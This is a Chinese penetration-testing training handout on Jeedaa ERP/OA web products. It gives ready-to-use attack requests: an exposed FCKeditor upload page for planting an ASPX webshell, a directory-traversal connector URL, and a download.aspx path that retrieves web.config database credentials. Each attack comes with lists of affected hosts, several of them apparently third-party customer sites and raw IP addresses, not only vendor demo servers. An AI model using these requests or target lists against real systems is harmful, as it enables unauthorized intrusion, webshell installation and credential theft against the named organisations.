本文最后修改时间:2019-01-14 20:53

米斯特白帽培训讲义 实战篇 捷达系统

讲师:gh0stkey

整理:飞龙

协议:CC BY-NC-SA 4.0

概述

官网:http://www.jeedaa.com/

主要产品有:

  • 捷达ERP
  • 捷达OA
  • 捷达eHR
  • 捷达CRM
  • 捷达eFax
  • 捷达仓库管理
  • 捷达进销存.Net
  • 捷达协同办公.Net

均存在能够 GetShell 的漏洞。

这个东西仍旧是闭源的,我们使用它的演示站点,http://demoerp.jeedaa.com来进行演示。

文件上传

我们用御剑扫一扫。

出现了 FCKEditer。我们访问/fckeditor,发现是 403 的。

但是我们扫描/fckeditor/fckeditor

发现有三个 200。我们访问/fckeditor/fckeditor/editor/filemanager/upload/test.html

我们在查看元素里面添加一个 ASPX,然后随便上传一个 ASP 文件上去。获得了该文件的链接。

部分案例(均为捷达的演示站点):

  • http://erp2008v4.jeedaa.com/fckeditor/FCKeditor/editor/filemanager/upload/test.html
  • http://erp.jeedaa.com/fckeditor/FCKeditor/editor/filemanager/upload/test.html
  • http://qd.jeedaa.net//fckeditor/FCKeditor/editor/filemanager/upload/test.html
  • http://oa.jeedaa.com/fckeditor/FCKeditor/editor/filemanager/upload/test.html
  • http://demoerp.jeedaa.com/fckeditor/FCKeditor/editor/filemanager/upload/test.html
  • http://crm.jeedaa.com/fckeditor/FCKeditor/editor/filemanager/upload/test.html
  • http://shijia.jeedaa.com/fckeditor/FCKeditor/editor/filemanager/upload/test.html
  • http://lg.jeedaa.com/fckeditor/FCKeditor/editor/filemanager/upload/test.html
  • http://hj.jeedaa.com/fckeditor/FCKeditor/editor/filemanager/upload/test.html

目录遍历

访问/fckeditor/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=E:/&CurrentFolder=%2F

可以改动CurrentFolder参数来进入子目录,也可以改动Type参数来切换盘符。

文件下载

访问/WebApp/PassportService/download.aspx?p=/AccreditAdmin/Web.config下载数据库文件:

部分案例:

  • http://221.136.81.169/WebApp/PassportService/download.aspx?p=web.config
  • http://61.164.170.82:88/WebApp/PassportService/download.aspx?p=web.config
  • http://www.nbjyly.com/WebApp/PassportService/download.aspx?p=web.config
  • http://oa.jobgroup.cn:2013/WebApp/PassportService/download.aspx?p=web.config
  • http://erp2008v4.jeedaa.com/WebApp/PassportService/download.aspx?p=web.config
  • http://erp.jeedaa.com/WebApp/PassportService/download.aspx?p=web.config
  • http://qd.jeedaa.net//WebApp/PassportService/download.aspx?p=web.config
  • http://61.130.104.162:8080/WebApp/PassportService/download.aspx?p=web.config
  • http://oa.jeedaa.com/WebApp/PassportService/download.aspx?p=web.config
  • http://demoerp.jeedaa.com/WebApp/PassportService/download.aspx?p=web.config
  • http://crm.jeedaa.com/WebApp/PassportService/download.aspx?p=web.config
  • http://shijia.jeedaa.com/WebApp/PassportService/download.aspx?p=web.config
  • http://lg.jeedaa.com/WebApp/PassportService/download.aspx?p=web.config
  • http://hj.jeedaa.com/WebApp/PassportService/download.aspx?p=web.config
  • http://oa.nbself.com/WebApp/PassportService/download.aspx?p=web.config
  • http://61.164.170.82:88/WebApp/PassportService/download.aspx?p=web.config